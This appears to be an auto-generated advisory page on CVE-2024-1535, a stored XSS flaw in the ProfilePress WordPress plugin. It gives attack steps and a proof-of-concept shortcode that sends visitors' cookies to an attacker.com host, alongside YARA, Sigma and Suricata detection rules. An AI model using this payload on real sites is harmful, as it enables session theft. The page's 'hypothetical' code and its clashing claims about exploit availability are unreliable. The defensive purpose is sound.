CVE-2024-1535
Executive Summary
CVE-2024-1535 is a Stored Cross-Site Scripting (XSS) vulnerability in the ProfilePress WordPress plugin (versions ≤ 4.15.2). The flaw resides in insufficient input sanitization and output escaping on user-supplied attributes within the plugin’s shortcodes. Authenticated attackers with at least contributor-level permissions can inject arbitrary web scripts that execute when any user visits the compromised page. This can lead to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no public exploit code exists, but the attack vector is straightforward for authenticated users.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress ecosystem via the ProfilePress plugin. Since ProfilePress is distributed through the official WordPress plugin repository, any site running version 4.15.2 or earlier is at risk. No package manager (NPM, PyPI, Go, Ruby) is involved, but the plugin’s update mechanism is the primary supply chain vector. Administrators should monitor for patched versions and consider disabling the plugin until a fix is released.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (authenticated, low complexity) and the potential for widespread impact on WordPress sites make this a significant concern for affected installations.
Deep Dive & Mechanics
The vulnerability exists in the ProfilePress plugin’s shortcode handling. The plugin registers multiple shortcodes (e.g., [profilepress-login], [profilepress-registration], [profilepress-member-directory]) that accept user-supplied attributes. Due to insufficient input sanitization and output escaping, an attacker with contributor-level access can inject malicious JavaScript into these attributes. When the shortcode is rendered on a page, the injected script executes in the context of any visitor’s browser.
Root Cause: The plugin fails to properly escape HTML entities in shortcode attributes before outputting them. For example, an attribute like class="my-class" is not sanitized, allowing an attacker to inject onclick or other event handlers.
Attack Flow:
- Attacker logs in with contributor-level privileges.
- Attacker creates or edits a post/page and inserts a vulnerable ProfilePress shortcode.
- Attacker adds a malicious attribute, e.g.,
[profilepress-login class="x" onclick="alert('XSS')"]. - When the page is saved and viewed by any user, the injected script executes.
Vulnerable vs. Patched Code
Vulnerable Code (≤ 4.15.2):
The plugin likely uses echo $attribute or esc_attr() incorrectly. A typical vulnerable pattern:
echo '<div class="' . $atts['class'] . '">';
This directly outputs user input without proper escaping.
Patched Code (Hypothetical):
A fix would involve using esc_attr() or wp_kses() to sanitize attributes:
echo '<div class="' . esc_attr($atts['class']) . '">';
Additionally, shortcode attributes should be validated against a whitelist of allowed values.
Exploitation & Lab Setup
Red Team
Since no public exploit exists, a manual approach is required:
- Prerequisites: WordPress site with ProfilePress ≤ 4.15.2, contributor-level account.
- Steps:
- Log in as contributor.
- Create a new post.
- Insert a shortcode like
[profilepress-login class="test" onclick="alert(document.cookie)"]. - Publish the post.
- Visit the post as any user to trigger the XSS.
Proof-of-Concept (PoC):
[profilepress-login class="x" onclick="fetch('https://attacker.com/steal?cookie='+document.cookie)"]
Blue Team
- Detection: Monitor for posts containing suspicious shortcode attributes (e.g.,
onclick,onerror,javascript:). - Prevention: Restrict contributor-level permissions; use a Web Application Firewall (WAF) to block XSS payloads in shortcode attributes.
- Hunting: Search database for posts with
[profilepress-shortcodes containing event handlers.
Indicators of Compromise (IOCs)
- File System: Modified plugin files (unlikely, as this is a stored XSS).
- Database: Posts/pages containing shortcodes with malicious attributes (e.g.,
onclick,onerror,javascript:). - Network: Outbound requests to attacker-controlled domains from compromised pages (if payload exfiltrates data).
- Logs: WordPress audit logs showing post creation/editing by contributor-level users with unusual shortcode attributes.
Detection Engineering
YARA Rule
rule CVE_2024_1535_ProfilePress_XSS {
meta:
description = "Detects stored XSS payloads in ProfilePress shortcode attributes"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-1535"
strings:
$shortcode = /\[profilepress-[a-z-]+\s+[^\]]*?(on\w+|javascript:)/i
condition:
$shortcode
}
Sigma Rule
title: ProfilePress Stored XSS via Shortcode Attributes
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects posts containing malicious shortcode attributes in ProfilePress plugin
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: wordpress
detection:
selection:
post_content|contains:
- '[profilepress-'
post_content|re: 'on\w+\s*=|javascript:'
condition: selection
falsepositives:
- Legitimate use of event handlers in shortcodes (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-1535 ProfilePress Stored XSS Attempt"; flow:to_server,established; content:"[profilepress-"; nocase; pcre:"/\[profilepress-[a-z-]+\s+[^\]]*?(on\w+|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the ProfilePress plugin until a patched version is released.
- Restrict contributor-level permissions to trusted users only.
- Use a WAF to block XSS payloads in shortcode attributes (e.g., block
on*=patterns).
Long-Term Fix:
- Monitor the plugin’s official repository for updates. If no patch is forthcoming, consider replacing ProfilePress with an alternative plugin.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Workaround:
- Manually patch the plugin by adding
esc_attr()to shortcode attribute outputs in the plugin’s PHP files (requires developer expertise).
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.